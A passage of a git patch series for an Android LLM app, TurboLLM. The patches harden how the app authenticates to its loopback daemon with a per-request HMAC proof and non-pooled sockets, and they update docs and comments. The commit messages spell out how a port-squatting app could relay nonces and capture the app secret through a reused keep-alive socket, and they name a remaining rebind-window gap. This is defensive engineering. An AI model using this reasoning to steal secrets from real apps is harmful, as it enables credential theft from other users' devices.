address and port it was asked on, so an app holding 7000 cannot relay the nonce to it through another socket. open(path) returns a connection carrying the header only after a proof, and otherwise throws an IOException, which every caller already treats as an unreachable daemon. The proof is per request, not kept until a request fails: an app that took the port between two requests would answer the second one, not fail it. - EngineService (engine/stop, activity, downloads), ModelImport (modeldirs) and StorageAccess (models/rescan) call DaemonAuth.open instead of setting the header themselves. - DaemonWebViewScreen waits for daemonProven(), on Dispatchers.IO, instead of the status probe that carried the secret. The WebView, and with it the cookie set in its factory and the first page load, is created only after that. - DaemonClient.isDaemonReachable (commonMain), whose only caller was that probe, is removed, so no caller is left that sends the secret before a proof. - The comments in MainActivity and at the cookie say so. The daemon side, the proof route and an exit when a LAN toggle finds its port taken (the WebView cannot ask for a proof before each request), is in mohitsoni48/TurboLLM#287. Behaviour change: the app now needs a daemon with /api/v1/app-proof, so merge mohitsoni48/TurboLLM#287 first. Against an older daemon (TurboLLM main today) the app stays on its splash screen with no message, and every native call fails. The PR alpha workflow bundles TurboLLM main, so an alpha built before that merge does the same. This corrects 8568672, which said an older daemon simply ignores the cookie and header. Each native call now makes two loopback connections. Not fixed here: the proof and the request use two connections, a few-ms window that matters only inside a rebind gap. Moving the port through the API (an authenticated caller only) leaves the WebView, and its cookie, on 7000, where another app could listen next. There is no Kotlin test harness in this repo. compileDebugKotlinAndroid passes, and DaemonAuth.kt was compiled and run on the JVM: against an impostor listening on the port it sends nothing (the old code sent the secret); against the daemon's real HTTP app with the same secret it is proven and its request passes the auth gate; against one with another secret it sends nothing. So the app and the daemon agree on the HMAC message byte for byte. Still needs a device check: app start, and a LAN toggle on and off. --- .../kotlin/com/turbollm/app/DaemonAuth.kt | 60 +++++++++++++++++++ .../kotlin/com/turbollm/app/DaemonWebView.kt | 10 +++- .../kotlin/com/turbollm/app/EngineService.kt | 11 +--- .../kotlin/com/turbollm/app/MainActivity.kt | 5 +- .../kotlin/com/turbollm/app/ModelImport.kt | 5 +- .../kotlin/com/turbollm/app/StorageAccess.kt | 5 +- .../kotlin/com/turbollm/app/DaemonClient.kt | 20 ------- 7 files changed, 75 insertions(+), 41 deletions(-) create mode 100644 composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt new file mode 100644 index 0000000..3496e66 --- /dev/null +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt @@ -0,0 +1,60 @@ +package com.turbollm.app + +import org.json.JSONObject +import java.io.IOException +import java.net.HttpURLConnection +import java.net.URL +import java.security.MessageDigest +import java.security.SecureRandom +import javax.crypto.Mac +import javax.crypto.spec.SecretKeySpec + +/** The only way native code reaches the daemon with DAEMON_APP_SECRET, so the secret goes nowhere but to the daemon + * this process started. + * + * Any app on the phone can listen on 127.0.0.1:ANDROID_DAEMON_PORT while our daemon does not: before it binds at + * launch (EngineService polls from the start, and the daemon retries a busy port for about 10 s), or for a moment + * while a LAN toggle rebinds it. A secret sent there would let that app use the whole API for as long as this process + * lives. So before each request the port's holder must answer a fresh random nonce with HMAC-SHA256 under the secret + * (GET /api/v1/app-proof, daemon auth.ts appSecretProof), which only our daemon can do and which is no use as the + * secret itself. A proof per request rather than one kept until a request fails: an app that took the port over + * between two requests would answer the second one, not fail it. */ +object DaemonAuth { + private const val BASE = "http://127.0.0.1:$ANDROID_DAEMON_PORT" + private val random = SecureRandom() + + /** True only when whatever holds the port proved it has the secret. Blocking network I/O: never on the main + * thread. False on any failure, a daemon still starting included. */ + fun daemonProven(): Boolean = try { + val nonce = hex(ByteArray(32).also { random.nextBytes(it) }) + val conn = URL("$BASE/api/v1/app-proof?nonce=$nonce").openConnection() as HttpURLConnection + conn.instanceFollowRedirects = false // the answer must come from this port, not from wherever it points + conn.connectTimeout = 1000 + conn.readTimeout = 2000 + try { + conn.responseCode == 200 && run { + val proof = JSONObject(conn.inputStream.bufferedReader().use { it.readText() }).optString("proof") + // The daemon's message (appSecretProof): the address and port it was asked on, then the nonce. + val mac = Mac.getInstance("HmacSHA256") + mac.init(SecretKeySpec(DAEMON_APP_SECRET.toByteArray(), "HmacSHA256")) + val want = hex(mac.doFinal("turbollm-app-proof\n127.0.0.1:$ANDROID_DAEMON_PORT\n$nonce".toByteArray())) + MessageDigest.isEqual(want.toByteArray(), proof.toByteArray()) // constant time + } + } finally { + conn.disconnect() + } + } catch (_: Exception) { + false + } + + /** A connection to [path] on the daemon carrying the secret, opened only once [daemonProven]. Throws otherwise, + * which every caller already handles as an unreachable daemon. */ + fun open(path: String): HttpURLConnection { + if (!daemonProven()) throw IOException("no proof from port $ANDROID_DAEMON_PORT that it is our daemon; secret withheld") + return (URL("$BASE$path").openConnection() as HttpURLConnection).apply { + setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) + } + } + + private fun hex(bytes: ByteArray) = bytes.joinToString("") { (it.toInt() and 0xff).toString(16).padStart(2, '0') } +} diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index 338102c..1919b35 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -44,7 +44,9 @@ import com.airbnb.lottie.compose.LottieCompositionSpec import com.airbnb.lottie.compose.LottieConstants import com.airbnb.lottie.compose.animateLottieCompositionAsState import com.airbnb.lottie.compose.rememberLottieComposition +import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.delay +import kotlinx.coroutines.withContext import java.io.ByteArrayInputStream private val DAEMON_URL = "http://127.0.0.1:$ANDROID_DAEMON_PORT/" @@ -185,11 +187,12 @@ private fun WebView.injectSafeAreaInsets(topPx: Int, bottomPx: Int) { @Composable fun DaemonWebViewScreen() { var ready by remember { mutableStateOf(false) } - val client = remember { DaemonClient() } + // Up AND ours: the WebView below gets the app-secret cookie the moment it is created, so it waits until the + // daemon has proved it holds the port (DaemonAuth), not merely until something answers there. LaunchedEffect(Unit) { while (!ready) { - ready = client.isDaemonReachable(ANDROID_DAEMON_PORT, DAEMON_APP_SECRET) + ready = withContext(Dispatchers.IO) { DaemonAuth.daemonProven() } if (!ready) delay(500) } } @@ -391,7 +394,8 @@ private fun TurboLLMWebView() { // The daemon trusts only loopback requests that carry the app secret (DAEMON_APP_SECRET); this cookie is // how every request the page makes carries it, WebSocket handshakes included. HttpOnly: page scripts // (a chat artifact included) cannot read it. Set before the first load, every launch, since the secret - // changes with each process. + // changes with each process, and only once the daemon has proved it holds the port (DaemonWebViewScreen + // creates this WebView after DaemonAuth.daemonProven). CookieManager.getInstance().apply { setCookie(DAEMON_URL, "turbollm_app=$DAEMON_APP_SECRET; Path=/; HttpOnly; SameSite=Strict") flush() diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 77294da..38e4a18 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -19,8 +19,6 @@ import androidx.core.app.ServiceCompat import androidx.core.content.ContextCompat import org.json.JSONObject import java.util.concurrent.atomic.AtomicBoolean -import java.net.HttpURLConnection -import java.net.URL private const val TAG = "TurboLLM" private const val CHANNEL_ID = "engine" @@ -194,11 +192,10 @@ class EngineService : Service() { private fun unloadModel(stillWanted: () -> Boolean) { runCatching { if (!stillWanted()) return - val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/engine/stop").openConnection() as HttpURLConnection + val conn = DaemonAuth.open("/api/v1/engine/stop") conn.requestMethod = "POST" conn.doOutput = true conn.setRequestProperty("Content-Type", "application/json") - conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) conn.connectTimeout = 1000 conn.readTimeout = 5000 conn.outputStream.use { it.write("{}".toByteArray()) } @@ -249,8 +246,7 @@ class EngineService : Service() { /** True while a chat, Code run, routine or API generation is in flight. Any failure (daemon still booting) = idle. */ private fun queryBusy(): Boolean = try { - val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/activity").openConnection() as HttpURLConnection - conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) + val conn = DaemonAuth.open("/api/v1/activity") conn.connectTimeout = 1000 conn.readTimeout = 2000 try { @@ -272,8 +268,7 @@ class EngineService : Service() { /** True while the daemon has a model download running or queued (GET /api/v1/downloads). Any failure = idle, as * above; a paused or failed download does not count, as nothing is transferring. */ private fun queryDownloading(): Boolean = try { - val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/downloads").openConnection() as HttpURLConnection - conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) + val conn = DaemonAuth.open("/api/v1/downloads") conn.connectTimeout = 1000 conn.readTimeout = 2000 try { diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt index a62dee2..2a2ab25 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/MainActivity.kt @@ -32,8 +32,9 @@ const val ANDROID_DAEMON_PORT = 7000 /** Every app on the phone shares 127.0.0.1, and the daemon trusts loopback callers, so any installed app could use * its whole API. The daemon is started with this random secret (TURBOLLM_APP_SECRET, see the daemon's auth.ts) and * then trusts only loopback requests carrying it: the WebView as the `turbollm_app` cookie (DaemonWebView.kt), native - * calls as the X-TurboLLM-App header. One per process, like Node itself (nodeStarted below), so every component in - * this process holds the value the running daemon was given. */ + * calls as the X-TurboLLM-App header. Neither is sent before the daemon proves it holds the port (DaemonAuth.kt). One + * per process, like Node itself (nodeStarted below), so every component in this process holds the value the running + * daemon was given. */ val DAEMON_APP_SECRET: String = ByteArray(32).also { SecureRandom().nextBytes(it) } .joinToString("") { (it.toInt() and 0xff).toString(16).padStart(2, '0') } diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt index 717fb68..12af5ee 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/ModelImport.kt @@ -16,8 +16,6 @@ import android.widget.TextView import android.widget.Toast import org.json.JSONObject import java.io.File -import java.net.HttpURLConnection -import java.net.URL import java.util.concurrent.atomic.AtomicBoolean private const val TAG = "TurboLLM" @@ -222,12 +220,11 @@ object ModelImport { /** Add the folder to the daemon's model folders (a no-op when it is there already); that request also rescans. * False when the daemon did not accept it, so the caller says so instead of reporting a silent success. */ private fun registerWithDaemon(dir: File): Boolean = runCatching { - val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/modeldirs").openConnection() as HttpURLConnection + val conn = DaemonAuth.open("/api/v1/modeldirs") try { conn.requestMethod = "POST" conn.doOutput = true conn.setRequestProperty("Content-Type", "application/json") - conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) conn.connectTimeout = 2000 conn.readTimeout = 10_000 conn.outputStream.use { it.write(JSONObject().put("dir", dir.absolutePath).toString().toByteArray()) } diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt index cce012c..f043632 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/StorageAccess.kt @@ -11,8 +11,6 @@ import android.os.Looper import android.util.Log import org.json.JSONObject import java.io.File -import java.net.HttpURLConnection -import java.net.URL private const val TAG = "TurboLLM" private const val CHECK_MS = 2000L @@ -135,9 +133,8 @@ class StorageAccess(private val activity: Activity) { private fun rescan() { runCatching { - val conn = URL("http://127.0.0.1:$ANDROID_DAEMON_PORT/api/v1/models/rescan").openConnection() as HttpURLConnection + val conn = DaemonAuth.open("/api/v1/models/rescan") conn.requestMethod = "POST" - conn.setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) conn.connectTimeout = 2000 conn.readTimeout = 5000 conn.responseCode diff --git a/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt b/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt index a6f7713..9268b4a 100644 --- a/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt +++ b/composeApp/src/commonMain/kotlin/com/turbollm/app/DaemonClient.kt @@ -5,9 +5,6 @@ import io.ktor.client.call.body import io.ktor.client.plugins.HttpTimeout import io.ktor.client.plugins.contentnegotiation.ContentNegotiation import io.ktor.client.request.get -import io.ktor.client.request.header -import io.ktor.client.statement.HttpResponse -import io.ktor.http.isSuccess import io.ktor.serialization.kotlinx.json.json import kotlinx.serialization.Serializable import kotlinx.serialization.json.Json @@ -43,21 +40,4 @@ class DaemonClient { } catch (e: Exception) { null } - - /** Plain reachability check against the REAL daemon's own status endpoint — deliberately - * ignores the response body/shape (unlike `status()`, which expects Spike A's toy JSON - * shape at `/`) since all this needs to know is "has the HTTP server come up yet," to - * gate showing the WebView pointed at the daemon's real web UI. `port` is caller-supplied - * (not hardcoded like `status()` above) since Android runs the daemon on its own port — - * see ANDROID_DAEMON_PORT. `appSecret` is the loopback credential the daemon was started with (Android's - * DAEMON_APP_SECRET): without it the daemon answers 401 and the app would wait here forever. */ - suspend fun isDaemonReachable(port: Int, appSecret: String): Boolean = - try { - val response: HttpResponse = client.get("http://127.0.0.1:$port/api/v1/status") { - header("X-TurboLLM-App", appSecret) - } - response.status.isSuccess() - } catch (e: Exception) { - false - } } From 3f0ed38124e6df86d24fe2657d81fd20babba3b0 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 00:41:15 +0000 Subject: [PATCH 09/80] fix(android): load localhost:7000 links from 127.0.0.1 with the cookie A link to http://localhost:7000/... (in a reply or a docs snippet) points at the app's own daemon under another name, so the WebView kept it in the app instead of opening the browser. But the app-secret cookie is set for the host 127.0.0.1 only, so that page loaded without it and showed the API-key prompt. shouldOverrideUrlLoading now catches a main-frame http navigation to localhost on the daemon's port and loads the same URL with its authority rewritten to 127.0.0.1:7000 (path, query and fragment kept). The page stays in the app and gets the cookie. Opening the link in the browser instead would not help: the browser has no cookie either and shows the same prompt. localhost on any other port still opens in the browser; https links and sub-frame navigations are handled as before. Behaviour change: a link to http://localhost:7000/... now opens inside the app as http://127.0.0.1:7000/.... There is no Android test harness in this repo: checked by the compile (compileDebugKotlinAndroid) and by reading. Needs a device check. --- .../androidMain/kotlin/com/turbollm/app/DaemonWebView.kt | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt index 1919b35..8073f7b 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt @@ -328,6 +328,15 @@ private fun TurboLLMWebView() { } return true // never let the WebView try to load this scheme } + // The daemon under the name localhost (a link in a reply or a docs snippet): opened as is, it is a + // host the app-secret cookie (scoped to 127.0.0.1) never reaches, so the page asked for an API key. + // Load the same page from 127.0.0.1 instead; it stays in the app, like any other daemon link. + if (request.isForMainFrame && url.scheme == "http" && url.host == "localhost" && + url.port == ANDROID_DAEMON_PORT + ) { + view.loadUrl(url.buildUpon().encodedAuthority("127.0.0.1:$ANDROID_DAEMON_PORT").build().toString()) + return true + } // A link off the daemon (Hugging Face, docs, a model card) opens in the browser rather than // replacing the app's UI inside its own WebView, where Back would be the only way out. So does // localhost on any port but the daemon's: that is some other app's server, not ours. From 2d0053cae119278264bdf68431f62c3b6b12e94d Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 07:26:12 +0000 Subject: [PATCH 10/80] fix(android): app proof and secret each go on a new socket, never pooled The app-proof handshake added earlier in this PR could be bypassed on every cold start. Android's HttpURLConnection keeps keep-alive sockets in one pool for the whole process and reuses them, even after disconnect(), and a pooled socket stays connected to whoever accepted it. An app listening on 127.0.0.1:7000 at launch (the daemon retries a busy port for about 10 s) could let the daemon have the port but keep the socket EngineService's first poll had left in the pool. The next proof then went out on that socket: the app passed the nonce on to the real daemon, the answer checked out, and the X-TurboLLM-App request that followed reused the same socket and handed it the secret. No race was needed; any app holding the port at launch could do it. DaemonAuth now sets "Connection: close" on the proof connection and on the connection open() returns. A request that says Connection: close is never put back in the pool: its socket is closed after that one exchange. So no socket to the port is ever pooled, and every proof and every request opens a new connection to whoever listens at that moment. The proof's header is what closes the hole; the one on open() makes sure no socket to an earlier listener is left for a later proof to pick up. The comments say so: the class KDoc explains the pool and what is guaranteed now, and that native code must not open any other connection to the daemon's port; open()'s KDoc says callers must not override its Connection header; daemonProven()'s KDoc no longer claims more than it checks (a proof vouches for the daemon holding the port then, not for the socket). No caller changes, and none sets a Connection header. Behaviour change: each proof and each daemon request now uses its own loopback TCP connection instead of a reused one: four new connections per 3-second EngineService poll. This corrects the "Not fixed here" note of ced6bac, which called the remaining problem a few-ms window inside a rebind gap. What is left now is only that gap: during a LAN-toggle rebind, an app that binds 7000 and lets go within those few ms, just as a request is made, could still get the secret (an app still on the port makes the daemon exit). Sending proof and request on one socket would close it too, but needs a hand-written HTTP client in place of HttpURLConnection; not done. There is no Kotlin test harness in this repo. Checked on the JVM with the real DaemonAuth.kt, compiled with kotlinc against OkHttp 2.7.5 (the code behind Android's HttpURLConnection) set up as Android does, with one shared pool, and the daemon's real routes with the same secret binding the port after a squatter lets go. Two squatter strategies (answer the first proof with junk on a keep-alive 200; hold it and answer with the daemon's real proof): before, the squatter received the secret on 3 of 3 busy polls in both; after, 0 times, and the polls get 200 from the real daemon. With only the open() change it still leaks. compileDebugKotlinAndroid passes. Not yet run on a device. --- .../kotlin/com/turbollm/app/DaemonAuth.kt | 25 +++++++++++++++---- 1 file changed, 20 insertions(+), 5 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt index 3496e66..cd10876 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt @@ -10,7 +10,7 @@ import javax.crypto.Mac import javax.crypto.spec.SecretKeySpec /** The only way native code reaches the daemon with DAEMON_APP_SECRET, so the secret goes nowhere but to the daemon - * this process started. + * this process started. Native code must not open any other connection to the daemon's port (see the last paragraph). * * Any app on the phone can listen on 127.0.0.1:ANDROID_DAEMON_PORT while our daemon does not: before it binds at * launch (EngineService polls from the start, and the daemon retries a busy port for about 10 s), or for a moment @@ -18,17 +18,30 @@ import javax.crypto.spec.SecretKeySpec * lives. So before each request the port's holder must answer a fresh random nonce with HMAC-SHA256 under the secret * (GET /api/v1/app-proof, daemon auth.ts appSecretProof), which only our daemon can do and which is no use as the * secret itself. A proof per request rather than one kept until a request fails: an app that took the port over - * between two requests would answer the second one, not fail it. */ + * between two requests would answer the second one, not fail it. + * + * A proof vouches only for the listener, so the proof and the request each go out on a new socket (Connection: + * close), never on a pooled one. Android's HttpURLConnection keeps keep-alive sockets in one pool for the process and + * reuses them even after disconnect(), and a pooled socket stays connected to whoever accepted it: an app holding the + * port at launch could let our daemon have it, keep the socket we pooled, pass each nonce on to the daemon, and + * receive the request that follows on that socket. With every socket to the port closed after its one request, + * nothing to it is ever in the pool. What this guarantees: the secret goes out only on a connection opened just after + * our daemon, on another new connection, proved it held the port. It reaches another app only if the daemon gave the + * port up in between, i.e. a LAN-toggle rebind; an app that is still on the port when the daemon binds again makes + * the daemon exit (cli.ts), so what is left is an app that binds and lets go inside that gap of a few ms, just as a + * request is made. */ object DaemonAuth { private const val BASE = "http://127.0.0.1:$ANDROID_DAEMON_PORT" private val random = SecureRandom() - /** True only when whatever holds the port proved it has the secret. Blocking network I/O: never on the main - * thread. False on any failure, a daemon still starting included. */ + /** True only when our daemon answered a fresh nonce while it held the port (another app may have passed the nonce + * on, see the class comment), so a new connection made right after reaches it. Blocking network I/O: never on + * the main thread. False on any failure, a daemon still starting included. */ fun daemonProven(): Boolean = try { val nonce = hex(ByteArray(32).also { random.nextBytes(it) }) val conn = URL("$BASE/api/v1/app-proof?nonce=$nonce").openConnection() as HttpURLConnection conn.instanceFollowRedirects = false // the answer must come from this port, not from wherever it points + conn.setRequestProperty("Connection", "close") // a new socket, not left in the pool for open() (class comment) conn.connectTimeout = 1000 conn.readTimeout = 2000 try { @@ -48,10 +61,12 @@ object DaemonAuth { } /** A connection to [path] on the daemon carrying the secret, opened only once [daemonProven]. Throws otherwise, - * which every caller already handles as an unreachable daemon. */ + * which every caller already handles as an unreachable daemon. Callers must not override its Connection header. */ fun open(path: String): HttpURLConnection { if (!daemonProven()) throw IOException("no proof from port $ANDROID_DAEMON_PORT that it is our daemon; secret withheld") return (URL("$BASE$path").openConnection() as HttpURLConnection).apply { + // Its own new socket, and none left in the pool for the next proof or request to pick up (class comment). + setRequestProperty("Connection", "close") setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) } } From 86724c2729507e246167297b00831d0c4b4e6479 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 07:26:13 +0000 Subject: [PATCH 11/80] fix(android): Play FGS declaration covers downloads and swipe re-post PLAY-FGS-DECLARATION.md, the text for the Play Console's foreground-service declaration, had not caught up with this PR's EngineService changes. In-app model downloads now keep the service and its partial wake lock, the notification says "Downloading models", and on Android 14+ a swiped-away notification is posted again. The page promises Play a description of what the service does, and it described less than that. - "Why foreground": names an in-app model download next to a model import as work the service keeps from being frozen halfway. - "What the user sees": the notification is re-posted at once when swiped away on Android 14 and later, so Quit stays reachable; the "Downloading models" text, shown while a download is running or queued; with notifications off, leaving the app stops the service only once nothing is generating, importing or downloading, and a paused or failed download does not keep it running; the wake lock is held during downloads too. Text only, no code change. For the owner: the declaration now tells Play that the specialUse service also carries downloads, while the answer on why no other type fits still rules out data sync; a Play reviewer may ask about that part. --- PLAY-FGS-DECLARATION.md | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/PLAY-FGS-DECLARATION.md b/PLAY-FGS-DECLARATION.md index d39a241..8471b65 100644 --- a/PLAY-FGS-DECLARATION.md +++ b/PLAY-FGS-DECLARATION.md @@ -38,19 +38,21 @@ during generation. > The service keeps that local server and the loaded model available while the user is in another app. Without it, > Android freezes the app as soon as it leaves the screen: a reply being written stops mid-sentence and is lost, and > the model is reclaimed, so the next message waits for it to load again. Replies on a phone take from seconds to -> minutes, and users switch apps while they wait. The service also keeps a model import (a multi-GB file copy) from -> being frozen halfway. +> minutes, and users switch apps while they wait. The service also keeps a model import (a multi-GB file copy) or an +> in-app model download from being frozen halfway. **What does the user see, and how do they stop it?** > From the moment the app is opened, a low-importance ongoing notification titled "TurboLLM", with a **Quit** action -> that stops the service, unloads the model and closes the app. Its text says what is happening: "Running in the -> background" while idle, "Generating" while a reply is being written, "Importing models" during an import, and, -> when the phone is thermally throttled, "Running. The phone is hot, so generation will be slower" or "Generating. -> The phone is hot, so it is throttling speed". If the user has turned notifications off, so Quit cannot be reached, -> leaving the app (Back, or swiping it away from Recents) unloads the model and stops the service as soon as nothing -> is generating or importing. A partial wake lock is held only while a reply is being generated or a model imported, -> never while idle. +> that stops the service, unloads the model and closes the app. On Android 14 and later, where the user can swipe +> this notification away, it is posted again at once, so Quit stays reachable. Its text says what is happening: +> "Running in the background" while idle, "Generating" while a reply is being written, "Importing models" during an +> import, "Downloading models" while a model download is running or queued, and, when the phone is thermally +> throttled, "Running. The phone is hot, so generation will be slower" or "Generating. The phone is hot, so it is +> throttling speed". If the user has turned notifications off, so Quit cannot be reached, leaving the app (Back, or +> swiping it away from Recents) unloads the model and stops the service as soon as nothing is generating, importing or +> downloading; a paused or failed download does not keep it running. A partial wake lock is held only while a reply +> is being generated or a model imported or downloaded, never while idle. **Why does no other foreground service type fit?** From bfaffb3b499436acc23bc9c08af48bd7ac6f9433 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 07:26:13 +0000 Subject: [PATCH 12/80] fix(android): correct stale EngineService comments Several comments in EngineService.kt still described the service from before model imports and this PR's downloads counted as busy work, and one overstated what Quit is for. Comments only, no code change: - Class KDoc: said the wake lock is held only while something is generating, with "busy" coming from /api/v1/activity. The poll counts a reply being generated, a model download (/api/v1/downloads) or a model import (ModelImport) as busy; it now says so. - stopWhenIdle and appClosed(): said the service stops once nothing is generating. The stop waits until nothing is generating, importing or downloading. stopWhenIdle now points at appClosed(), where it is set, instead of onStartCommand. - quit(): called Quit the only way to free a loaded model's memory short of a force-stop. With notifications off appClosed() unloads it, and the UI's Eject does too; it now says Quit is how the user frees it without going back into the app. - The wake-lock renewal comment says "work that is still going", not "a generation". The wake lock's tag "TurboLLM:generation" is left as is: it is runtime data shown in battery stats, not a comment. compileDebugKotlinAndroid passes. --- .../kotlin/com/turbollm/app/EngineService.kt | 21 +++++++++++-------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt index 38e4a18..70d09a5 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/EngineService.kt @@ -39,9 +39,10 @@ private const val POLL_MS = 3000L * Type `specialUse` (Android 14+): a local inference server fits none of the fixed types, and * `dataSync` would be wrong and is capped at 6 hours on Android 15. * - * It also holds a partial wake lock, but only while something is generating, so a long reply - * finishes with the screen off without keeping the CPU awake while idle. "Generating" comes - * from the daemon's own /api/v1/activity (the gate the UI uses), polled over loopback. */ + * It also holds a partial wake lock, but only while there is work: a reply being generated (the + * daemon's own /api/v1/activity, the gate the UI uses), a model download (/api/v1/downloads), + * both polled over loopback, or a model import (ModelImport). So a long reply or a multi-GB + * transfer finishes with the screen off without keeping the CPU awake while idle. */ class EngineService : Service() { @Volatile private var running = false private var wakeLock: PowerManager.WakeLock? = null @@ -50,7 +51,8 @@ class EngineService : Service() { @Volatile private var importing = false @Volatile private var downloading = false @Volatile private var thermal = 0 - /** Set when the app was closed with notifications off: stop as soon as nothing is generating (see onStartCommand). */ + /** Set when the app was closed with notifications off: stop as soon as nothing is generating, importing or + * downloading (see appClosed). */ @Volatile private var stopWhenIdle = false /** The newest start request, so a stop only takes effect if no start arrived after it (stopSelfResult). Without * this, Back then a quick reopen could stop the service under a pending startForegroundService, which Android @@ -129,9 +131,9 @@ class EngineService : Service() { super.onDestroy() } - /** "Quit" in the notification: the only way to free a loaded model's memory short of force-stop, since the - * service otherwise outlives the activity. Killing the process takes the engine children with it (Android kills - * the app's whole process group). */ + /** "Quit" in the notification: how the user frees a loaded model's memory without going back into the app, since + * the service otherwise outlives the activity (with notifications off, appClosed does it instead). Killing the + * process takes the engine children with it (Android kills the app's whole process group). */ private fun quit() { Log.i(TAG, "quit from the notification") synchronized(stateLock) { @@ -151,7 +153,8 @@ class EngineService : Service() { /** The user left the app (Back, or swiped from Recents). With the notification visible, its Quit is how they free * the model, so the service stays. Without it there is nothing to reach, so the service unloads the model and - * stops once nothing is generating, and the process becomes an ordinary closed app Android can reclaim. */ + * stops once nothing is generating, importing or downloading, and the process becomes an ordinary closed app + * Android can reclaim. */ private fun appClosed() { if (quitReachable()) return stopWhenIdle = true @@ -229,7 +232,7 @@ class EngineService : Service() { if (nowBusy) wakeLock?.acquire(30 * 60 * 1000L) else releaseWakeLock() updateNotification() } else if (nowBusy) { - wakeLock?.acquire(30 * 60 * 1000L) // renew the timeout for a generation that is still going + wakeLock?.acquire(30 * 60 * 1000L) // renew the timeout for work that is still going } } if (stopWhenIdle && !nowBusy) { From 0af73e350781c28cc2783a630ec61284acd2cd7e Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 17:12:25 +0000 Subject: [PATCH 13/80] fix(android): release check no longer ends on a 401 from /api/v1/engines The self-sufficiency check in BUILDING-ENGINES.md, which the doc says to run before every release, ended with an adb forward and `curl /api/v1/engines`, and the run passed when both bundled engines were listed. The per-launch app secret added earlier in this PR broke it. The app starts Node with TURBOLLM_APP_SECRET, and with the matching daemon a request arriving through the adb forward, which carries neither the app's cookie nor its X-TurboLLM-App header, counts as another app on the phone and gets 401 "A valid API key is required for non-local access". adb cannot create a key either: POST /api/v1/keys is refused the same way. A maintainer following the checklist got what looked like a failed boot or missing engines on a build that works. The check now: - curls /healthz over the forward, which needs no key and returns the daemon's status and version; - greps files/daemon.log (read with run-as, which the debug APK the check installs allows) for the "registered bundled engine" line the daemon logs per engine. A new paragraph says why /api/v1/engines answers 401 over the forward (adb, curl and Termux count as another app and need an API key like any LAN client) and how to query the API anyway: create a key in the app under Customize > Connect > API keys and send it as X-TurboLLM-Auth. The "last run" note now says that run used the old engines check, from before the app secret. Docs only. The new commands were checked against the daemon and app sources (the open /healthz route, the log line, 